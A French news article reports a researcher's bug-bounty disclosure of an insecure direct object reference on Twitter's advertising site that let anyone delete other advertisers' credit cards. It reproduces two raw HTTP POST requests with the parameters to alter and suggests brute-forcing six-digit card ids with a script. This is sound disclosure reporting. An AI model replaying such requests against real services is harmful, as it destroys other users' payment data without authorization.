Twitter : Une faille permet de supprimer les cartes de crédit de n'importe quel compte

 

Ahmed Aboul-Ela est un chercheur égyptien en sécurité informatique qui vient de découvrir une énorme faille de sécurité qui permet de supprimer les cartes de crédit de n’importe quel compte Twitter en changeant certains paramètres.

Ce chercheur a décidé de participer au programme rémunéré de détection de bugs de Twitter  (Vous découvrez un bug et Twitter vous paie).

En premier, il a découvert une faille de type csrf qui permet d’ajouter de nombreux Followers en une seule requête et en contournant la protection par token de ce CSRF, mais il s’est avéré que c’est un bug qui avait déjà été détecté.

Ensuite, il a fouiné du coté de http://ads.twitter.com/ qui permet d’acheter de la publicité sur le site et il a découvert une faille de type Insecure direct object reference. En termes clairs, il lui suffit d’avoir l’identifiant de la carte de crédit qui est composé uniquement de 6 chiffres pour le supprimer du compte de n’importe quel annonceur.

L’impact est considérable, car cela stopperait toutes les publicités qui sont en cours sur le site. Le chercheur estime qu’il suffirait d’écrire un simple script en python avec une boucle qui tournerait sur 6 chiffres pour trouver des correspondances potentielles.

La première faille concerne cette URL :

 https://ads.twitter.com/accounts/[account%20id]/payment_methods

faille-twitter-carte-credit_1

 

Quand on clique sur Delete Credit Card, un requête de type Ajax POST est envoyé au serveur :

POST /accounts/18ce53wqoxd/payment_methods/destroy HTTP/1.1
Host: ads.twitter.com
Connection: keep-alive
Content-Length: 29
Accept: /
Origin: https://ads.twitter.com
X-CSRF-Token: Lb6HONDceN5mGvAEUvCQNakJUspD60Odumz/trVdQfE=
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://ads.twitter.com/accounts/18ce53wqoxd/payment_methods
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.8
Cookie: [cookies here]
account=18ce53wqoxd&id=219643

 

Ce qui nous intéresse est la dernière ligne. Account concerne l’ID du compte Twitter et id concerne le numéro de la carte de crédit.

Le chercheur explique qu’il suffit de changer ces 2 paramètres. Il a testé avec un autre compte Twitter à partir de l’URL de son compte actuel et bien, la carte de crédit de l’autre compte a été supprimé sans nécessiter aucune permission.

Même si le résultat a affiché une page 403, la carte de crédit a été effectivement supprimé.

La seconde faille est plus grave. Et elle concerne lorsqu’on entre une carte de crédit invalide. Quand cela se produit, la page affiche un bouton Dismiss :

faille-twitter-carte-credit_2

Donc, il a cliqué sur le bouton et il a regardé les requêtes :

POST /accounts/18ce53wqoxd/payment_methods/handle_failed/220152 HTTP/1.1
Host: ads.twitter.com
Connection: keep-alive
Content-Length: 108
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://ads.twitter.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://ads.twitter.com/accounts/18ce53wqoxd/payment_methods
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.8
Cookie: [Cookies Here]
utf8=%E2%9C%93&authenticity_token=Lb6HONDceN5mGvAEUvCQNakJUspD60Odumz%2FtrVdQfE%3D&id=220152&dismiss=Dismiss

 

Cette fois, on n’a même pas le paramètre du compte, mais uniquement celui de la carte de crédit. Donc, il a entré un numéro de carte de crédit valide d’un autre compte (qu’il possédait) et l’action du Dismiss a permis d’effacer également une carte de crédit totalement valide sur un autre compte !

Le chercheur a publié une vidéo pour démontrer la faille :

 

Source

 

Publicités